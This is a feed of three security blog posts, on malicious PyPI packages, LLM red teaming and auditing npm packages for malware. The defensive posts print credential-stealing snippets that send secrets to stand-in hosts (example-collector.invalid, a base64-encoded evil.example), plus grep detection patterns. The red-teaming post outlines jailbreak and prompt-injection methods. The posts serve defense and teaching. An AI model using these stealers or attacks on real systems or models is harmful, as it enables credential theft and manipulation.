DEV Community: Loginsoft

What Happens When You pip install a Malicious Python Package?

Loginsoft — Thu, 10 Sep 2026 05:01:27 +0000

A developer runs pip install. Nothing crashes. No ransomware appears. No antivirus alert fires. Thirty seconds later, a Python process makes an outbound connection to infrastructure nobody on the team recognizes.

Recent 2026 incidents show how quickly this can become a compromise. Malicious PyPI packages have been downloaded and executed by real systems, proving that developer workstations, CI pipelines, and security environments can themselves become targets.

The Typosquatting Trick

Typosquatting is an attack technique where an attacker creates a name that closely resembles a trusted one, hoping users or automated systems will overlook the difference. In software supply chains, this can mean registering a malicious package with a name similar to a popular PyPI dependency.

For example:

requests
reqeusts

One transposed letter can be enough. A developer may miss it in a pull request, and a CI pipeline will install it if the dependency name is not independently validated. Unlike a vulnerability in the legitimate package, package typosquatting targets the dependency-selection process itself.

Common package typosquatting techniques include:

The risk is especially high when developers install packages directly from public registries or when CI pipelines automatically resolve dependencies. A familiar-looking package name is not proof that the package is legitimate.

For stronger protection, validate package names against approved dependencies, review new or unexpected packages, use lockfiles and hash verification, and route dependencies through a controlled internal registry where possible.

PyPI Is a Registry, not a Security Guarantee

PyPI is a public package registry, not a security-vetting service. Its role is to distribute Python packages; it does not independently verify that every package or release is free from malicious code before developers can install it. Python's packaging model also allows installation and builds processes to execute code, meaning a compromised package can become a security risk before an application ever imports it.

The risk extends beyond fake packages and typosquatting. Attackers can compromise a maintainer account or publishing pipeline and release malicious code under the name of a legitimate, trusted project. That means a correct package name, a familiar publisher, or even a previously trusted version of history is not by itself proof of safety. Every package should be treated as untrusted until its integrity, provenance, and behavior have been verified.

What the Malware Looks For

Once malicious code executes on a developer workstation or CI runner, attackers can search for credentials and environment information.

Common targets include:

AWS credentials
GitHub tokens
CI/CD secrets
SSH keys
Private registry credentials
Environment variables
Shell history
.netrc
Cloud CLI configuration
Kubernetes credentials

For example:

import os 
from pathlib import Path 

targets = {} 

for key in ( 
   "AWS_ACCESS_KEY_ID", 
   "AWS_SECRET_ACCESS_KEY", 
   "GITHUB_TOKEN", 
): 
   if os.environ.get(key): 
       targets[key] = os.environ[key] 

for filename in (".bash_history", ".netrc"): 
   path = Path.home() / filename 
   if path.exists(): 
       targets[filename] = path.read_text(errors="ignore")[:4000]

The attacker does not need direct access to production.

A stolen GitHub token can provide repository access. A cloud credential can expose infrastructure. A package-registry token can enable further supply-chain attacks.

The package has turned a dependency installation into an initial-access opportunity.

Exfiltration Can Look Like Normal HTTPS

The stolen data can then be sent to attacker-controlled infrastructure:

A simplified example:

import requests 
import socket 

requests.post( 
   "https://example-collector.invalid/v1/events", 
   json={ 
       "host": socket.gethostname(), 
       "data": targets 
   }, 
   timeout=5 
)

HTTPS makes the traffic look ordinary at the network layer. A domain may even be designed to resemble a telemetry or analytics service.

This is why software supply-chain security cannot rely exclusively on vulnerability databases. A newly created credential stealer may have no CVE, no security advisory, and no reputation history.

Why Traditional Dependency Controls Are Not Enough

Several controls help, but each addresses a different risk.

Pin your dependencies

For example:

requests==2.32.4

Version pinning prevents unexpected upgrades, but it does not guarantee that the selected release is benign.

Verify hashes

For example:

pip install --require-hashes -r requirements.txt

Hash verification ensures that you receive the exact artifact you approved.

It does not prove that the approved artifact itself is safe.

Run vulnerability audits

For example:

pip-audit -r requirements.txt

pip-audit can identify known vulnerabilities, but a brand-new malicious package may have no CVE at all.

Use private registries

A private registry can prevent developers and CI from directly pulling packages from the public internet.

But simply mirroring PyPI does not solve the problem. If malicious packages are mirrored automatically, the organization has only moved the attack surface.

The stronger approach is to inspect and approve packages before they enter the trusted dependency pool.

A Safer PyPI Workflow

A mature software supply-chain process should combine multiple controls:

PyPI – Source of the Python package.

Dependency verification – Confirm the package name, version, publisher, and dependency tree.

Provenance + integrity checks – Verify the artifact’s origin, signatures, and hashes.

Static malware analysis – Inspect the package for suspicious or malicious code.

Sandbox / behavioral analysis – Safely execute suspicious packages and observe their behavior.

Vulnerability scanning – Identify known vulnerabilities in the package and its dependencies.

Approved internal registry – Store verified packages in a controlled private repository.

CI/CD – Allow builds to consume only approved dependencies.

Runtime + egress monitoring – Monitor package behavior, processes, and unexpected outbound connecti

No single control is sufficient.

The Most Important Control: Reduce What the Package Can Reach

A malicious package is far less dangerous when it runs in an environment with:

No production credentials
Short-lived, least-privileged tokens
Restricted network access
No customer data
Ephemeral build environments
Process and network monitoring

This matters especially for CI systems.

Security scanners, build runners, and automated agents frequently install packages automatically. If those environments contain powerful credentials, a malicious dependency can turn the security or development pipeline into the attacker's entry point.

The Real Problem Isn't pip install

The command itself is harmless.

The assumption behind it is not.

When you run:

pip install some-package

you are trusting the package, its publisher, its release, its build process, and its dependencies.

That is a much larger trust decision than most development teams realize.

The answer is not to stop using PyPI or open source. It is to stop treating package installation as trusted by default.

Verify what you install. Analyze what you cannot verify. Isolate what you execute. Monitor what it does. Restrict the credentials it can reach.

For organizations that need continuous visibility into open-source dependencies, vulnerabilities, and software supply-chain exposure, Loginsoft's OSS Software Composition Analysis helps teams identify and manage risks across their open-source dependency landscape.

FAQs

1. What is a malicious PyPI package?

A malicious PyPI package is a Python dependency designed to perform harmful actions, such as stealing credentials, executing commands, or exfiltrating data.

2. How do attackers use PyPI typosquatting?

Attackers publish packages with names that closely resemble legitimate dependencies, such as reqeusts instead of requests, hoping developers or CI pipelines will install them.

3. Can pip-audit detect malicious PyPI packages?

pip-audit primarily identifies known vulnerabilities in dependencies. A newly created malicious package may have no CVE and can therefore evade traditional vulnerability scanning.

4. How can organizations protect against malicious PyPI packages?

Use dependency pinning, hash verification, provenance checks, malware analysis, sandboxing, private registries, restricted CI credentials, and runtime network monitoring.

5. Why should PyPI packages be treated as untrusted code?

Packages can contain installation or build-time code that executes before an application runs. Treating dependencies as untrusted helps prevent malicious packages from accessing credentials or internal systems.

LLM Red Teaming: How to Test Your AI for Prompt Injection, Jailbreaks, and Data Leakage

Loginsoft — Fri, 28 Aug 2026 04:29:29 +0000

Every security team knows how to test a web application. Scan the code, fuzz the inputs, check the auth flows. That playbook is decades old. “LLMs fundamentally change the security testing model.”

When your product is powered by a large language model, the attack surface extends far beyond the codebase. It is a probabilistic system responding to unbounded natural language, connected to tools and APIs, and manipulable through the very content it is designed to process. Traditional scanners do not find these vulnerabilities. And the failure modes, leaking a system prompt, executing injected instructions from a malicious document, bypassing safety alignment on demand, are not typically represented as conventional CVE entries.

This is why LLM red teaming, a specialized form of LLM security testing, exists. For cybersecurity teams, security engineers, and AI/platform engineers shipping AI-powered products, understanding it is no longer optional.

What Is LLM Red Teaming?

LLM red teaming is the structured practice of testing LLM-powered systems with adversarial inputs to identify security vulnerabilities, safety failures, and policy violations before and after production deployment.

LLM security testing accounts for the probabilistic nature of model behavior. A jailbreak may succeed in some runs and fail in others, making repeated testing essential. Track Attack Success Rate (ASR) rather than relying on a single pass/fail result.

ASR = Successful attack outcomes ÷ Total attempts

For example, if a jailbreak succeeds in 37 of 100 attempts, its ASR is 37%. Security teams can compare ASR across attack types, mitigations, and model versions. However, ASR measures exploitability, not business impact, so findings should also be prioritized by severity and potential impact.

LLM red teaming can be organized around four practical testing areas:

Alignment layer: Tests jailbreaks, persona injection, and many-shot manipulation that attempt to bypass safety controls.

Instruction-following layer: Tests prompt injection and other attacks that attempt to override intended instructions.

Inference boundary: Tests indirect prompt injection through RAG content and tool-call manipulation in agentic systems.

Context and representation: Tests long-context behavior, tokenization of edge cases, encoding, and obfuscation techniques.

Evaluation can combine deterministic checks, automated evaluators, human review, or secondary LLM judges, each of which can introduce false positives or false negatives. OWASP GenAI LLM Top 10 and MITRE ATLAS provide useful taxonomies for organizing and evaluating these attacks.

How LLM Red Teaming Differs from Traditional Penetration Testing

Traditional penetration testing often targets deterministic application behavior: a SQL injection either exposes unauthorized data, or it does not. LLM red teaming is different because model behavior is probabilistic and depends on training, alignment, and context. The same attack may succeed in one run and fail in another, requiring continuous and statistical evaluation rather than point-in-time testing.

Common LLM Attack Vectors

1. Prompt Injection

Prompt injection uses crafted inputs to manipulate an LLM into deviating from its intended instructions or following attacker-controlled instructions embedded in content it processes.

Direct prompt injection targets user inputs, while indirect prompt injection places malicious instructions in external content such as documents, emails, web pages, or database records. This makes indirect injection a key security concern for RAG applications and agentic AI systems.

MITRE ATLAS tracks prompt injection as LLM Prompt Injection (AML.T0051), including indirect injection techniques.

2. Jailbreaks

Jailbreaks attempt to bypass an LLM's safety controls and produce content the model is designed to refuse. Common approaches include:

Persona attacks: Attempt to make the model adopt an unrestricted identity.

Many-shot attacks: Use large numbers of fabricated examples to influence model behavior.

Encoding and obfuscation: Use Base64, Unicode, character substitution, or multilingual transformations to evade filters.

Jailbreak effectiveness varies across models and defensive architectures, making repeated testing important.

3. Data Leakage

LLM data leakage testing evaluates whether a model exposes information it should not be revealed. Key categories include:

System prompt disclosure: Extraction of hidden instructions, policies, or tool definitions.

Context and RAG leakage: Exposure of retrieved documents, session data, or another protected context.

Training-data extraction: Attempts to reproduce memorized information from training or fine-tuning data.

These risks should be evaluated separately because their security impact and appropriate mitigations differ.

4. Agent and API Misuse

When an LLM can access tools, APIs, files, or external systems, successful attacks can result in actions beyond text generation, including unauthorized data access, API calls, email transmission, or file deletion.

Security testing should therefore monitor tool identity, caller identity, parameters, authorization status, data destinations, action reversibility, and results.

Defenses for LLM Applications

Effective LLM security requires multiple layers of protection. A system prompt is not a security boundary; application and infrastructure controls must enforce security independently.

Key defenses include:

Separate trusted and untrusted content: Treat retrieved documents and external content as untrusted data, not executable instructions.
Apply least privilege: Give AI agents only the tools and permissions required for their tasks.
Validate tool arguments independently: Enforce authorization and parameter validation at the application layer before tool execution.
Validate model outputs: Treat LLM-generated output as untrusted and validate it before passing it to APIs, databases, shells, or other interpreters.
Run statistical security tests in CI: Execute LLM red-team probes repeatedly, track Attack Success Rate (ASR) by attack category, and rerun tests whenever the model, prompts, retrieval pipeline, or tool integrations change.

This approach turns LLM red teaming from a pre-production security check into continuous AI security testing throughout the development lifecycle.

Securing RAG Pipelines

RAG security requires additional controls because retrieved content may contain attacker-controlled instructions that attempt to influence model behavior. Key practices include:

Treat retrieved documents as untrusted content and keep them separate from system instructions.
Enforce authorization at the data-access layer, before retrieval, rather than relying on the LLM.
Never allow retrieved content to directly define tool parameters.
Log the complete retrieval-to-tool-call chain for auditing.
Continuously test RAG pipelines with malicious documents and adversarial inputs.

Building an LLM Red Teaming Program

A structured LLM red teaming program can follow six steps:

Define assets: Identify system prompts, secrets, PII, retrieval data, API credentials, tools, and high-impact actions.

Define attack categories: Map the application to OWASP LLM Top 10 and MITRE ATLAS, prioritizing indirect injection and tool misuse for agentic systems.

Build a probe corpus: Use datasets such as AdvBench, HarmBench, and JailbreakBench, supplemented with application-specific probes.

Run statistical trials: Execute probes repeatedly and measure Attack Success Rate (ASR) instead of relying on single-run results.

Evaluate impact: Prioritize findings based on data disclosure, unauthorized actions, privilege escalation, and other business impacts.

Remediate and regression test: Update controls, permissions, prompts, and filters, then rerun the probe suite to verify fixes and detect regressions.

LLM Red Teaming Tools

Garak: Automated probing for prompt injection, jailbreaks, and data leakage.

Microsoft PyRIT: Multi-turn adversarial testing and orchestrated attack strategies for enterprise red team programs.

Promptfoo: LLM regression testing with CI/CD integration and LLM-as-judge evaluation.

Conclusion:

LLM red teaming extends traditional application security into probabilistic, language-driven systems, helping identify risks such as prompt injection, jailbreaks, data leakage, and unauthorized tool actions. By combining systematic adversarial testing, layered defenses, and continuous evaluation, organizations can make red teaming part of the broader AI security lifecycle. Loginsoft’s AI Model Validation service supports LLM-powered applications through adversarial testing, safety benchmarking, agentic system security reviews, and continuous red team automation.

Frequently Asked Questions

How is it different from penetration testing?

Traditional pen testing targets deterministic code paths with a clear pass/fail. LLM red teaming targets probabilistic model behavior, so findings are tracked as an Attack Success Rate across many runs, not a single result.

What are the most common attacks?

Direct and indirect prompt injection, jailbreaks (persona attacks, many-shot, encoding), data leakage (system prompt, context/RAG, training data), and agent or API misuse.

How do you test for prompt injection?

Run both direct probes against the user input channel and indirect probes via documents, web pages, or other retrieved content the model processes, then assess whether protected content was disclosed or unauthorized actions occurred, rather than relying only on keyword matches.

What tools support LLM red teaming?

Garak, Microsoft PyRIT, and Promptfoo are widely used options; see the comparison above.

How to Audit a npm Package for Malware in 10 Minutes

Loginsoft — Tue, 18 Aug 2026 12:13:18 +0000

You are about to run npm install some-package and hand a stranger's code full access to your machine, your environment variables, and your CI pipeline. Last year alone, hundreds of malicious packages were caught on npm, many of them typosquats of popular libraries that stole credentials the moment they were installed.

This is a 10-minute manual audit workflow for any npm package you do not fully trust. It is written for JavaScript and Node.js developers, DevOps engineers, and anyone reviewing dependencies in a security-sensitive codebase. No paid tools required, just your terminal.

Set a timer. Let's go.

Minute 0 to 1: Never install first. Inspect the metadata.

The most important rule: do not install the package to inspect it. Malicious code usually runs at install time, not at import time. Start with metadata:

bash 

npm view lodash-utilz 

Look at four things in the output: 

lodash-utilz@1.0.3 | MIT | deps: 2 | versions: 3 

dist-tags: 
latest: 1.0.3 

published 2 days ago by newdev4821 newdev4821@protonmail.com

Red flags to catch here:

Very young package or very few versions. A "utility" library with 3 versions published in the last week is suspicious.

Name that looks almost like a popular package. lodash-utilz, reakt-dom, crossenv. Typosquatting is the number one delivery method.

Maintainer mismatch. A brand new email publishing a package that claims to belong to a known project.

Sudden maintainer change on an old package. Check with npm view maintainers and compare against the GitHub repo.

Minute 1 to 3: Check the install scripts

This is where most npm malware lives. Lifecycle scripts like preinstall, install, and postinstall execute arbitrary shell commands on your machine automatically during npm install.

Pull the manifest straight from the registry:

bash 

npm view lodash-utilz --json | node -e " 
const pkg = JSON.parse(require('fs').readFileSync(0, 'utf8')); 
console.log(JSON.stringify(pkg.scripts, null, 2)); 
" 

A malicious result looks like this:

json 

{ 
  "postinstall": "node ./lib/setup.js" 
}

An innocent-looking setup.js reference is exactly how credential stealers hide. Legitimate packages that genuinely need install scripts (native builds like node-gyp, binary downloads like esbuild) are well known. A random utility library has no reason to run anything at install time.

Quick heuristic: any post install script in a small, unknown package is guilty until proven innocent.

Minute 3 to 5: Download the tarball without installing

npm pack downloads exactly what the registry serves, with zero script execution:

bash 

mkdir /tmp/audit && cd /tmp/audit 
npm pack lodash-utilz 
tar -xzf lodash-utilz-1.0.3.tgz 
cd package 
ls -laR

Why this matters: the code on GitHub and the code on npm are not guaranteed to match. Attackers routinely publish a clean repo and a poisoned tarball. Always audit the tarball, never the repo.

While you are here, check for files that should not exist: .env, unexplained .node binaries, minified blobs in a package that claims to ship readable sources.

Minute 5 to 8: Grep for the classic malware patterns

You now have the real shipped code on disk. Run this pattern sweep:

bash 

grep -rn --include="*.js" -E \ 
  "eval\(|Function\(|child_process|\.exec\(|spawn\(" . 

grep -rn --include="*.js" -E \ 
  "process\.env|\.npmrc|\.ssh|\.aws|hosts" . 

grep -rn --include="*.js" -E \ 
  "http\.request|https\.request|fetch\(|XMLHttpRequest|dns\.resolve" . 

grep -rn --include="*.js" -E \ 
  "base64|fromCharCode|\\\\x[0-9a-f]{2}".

What each sweep catches:

Dynamic execution: eval, new Function, child_process. A string-manipulation library has no business spawning shells.

Sensitive reads: code touching process.env, .npmrc (your npm token lives there), .ssh, or .aws directories.

Network exfiltration: outbound requests to hardcoded IPs or unfamiliar domains. Ask yourself: why does this package phone home at all?

Obfuscation: long base64 strings, String.fromCharCode chains, hex-escaped strings. Legitimate open source has no reason to hide its logic.

Real-world example of what you might find:

js 

// lib/setup.js 
const h = Buffer.from('aHR0cHM6Ly9ldmlsLmV4YW1wbGUvYw==', 'base64').toString(); 
require('https').request(h, { method: 'POST' }) 
  .end(JSON.stringify(process.env));

That is your entire environment, including CI secrets and npm tokens, POSTed to an attacker. Two lines. This is why the grep sweep takes priority over reading every file.

Minute 8 to 9: Diff the dependency tree

Malware also arrives transitively. Before adding the package, preview what it drags in:

bash 

npm install lodash-utilz --dry-run 

Then check the tree for anything unexpected: 

bash 

npm view lodash-utilz dependencies

A tiny helper library pulling in 40 transitive dependencies, or depending on another unknown week-old package, deserves a hard pass.

Minute 9 to 10: Run the automated second opinion

Finish with tooling that checks the package against known-bad databases:

bash

Checks against the OSV and GitHub advisory databases
npx osv-scanner --lockfile package-lock.json

Interactive pre-install gate: audits BEFORE installing
npx npq install lodash-utilz

For ongoing protection, wire one of these into CI so every pull request that touches package.json gets the same scrutiny automatically. Socket, OSV-Scanner, and npm audit signatures (which verifies registry provenance) all run cleanly in GitHub Actions.

The 10-minute checklist

Copy this into your team wiki:

[ ] npm view: age, versions, maintainer, name typos
[ ] Manifest: any preinstall/install/postinstall scripts?
[ ] npm pack: audit the tarball, not the GitHub repo
[ ] Grep sweep: eval, child_process, env reads, network, base64
[ ] Dependency tree: --dry-run before real install
[ ] Automated scan: osv-scanner or npq as second opinion

Ten minutes of friction versus a leaked AWS key and a rotated-credentials fire drill. Easy trade.

What's next

This manual workflow catches the common 90 percent. Supply chain attacks like dependency confusion, compromised maintainer accounts, and build-pipeline injection need deeper coverage: registry provenance verification, lockfile pinning policy, and continuous monitoring of your full dependency graph.

What is your team's process for vetting new dependencies? Drop it in the comments, genuinely curious what gates other teams use.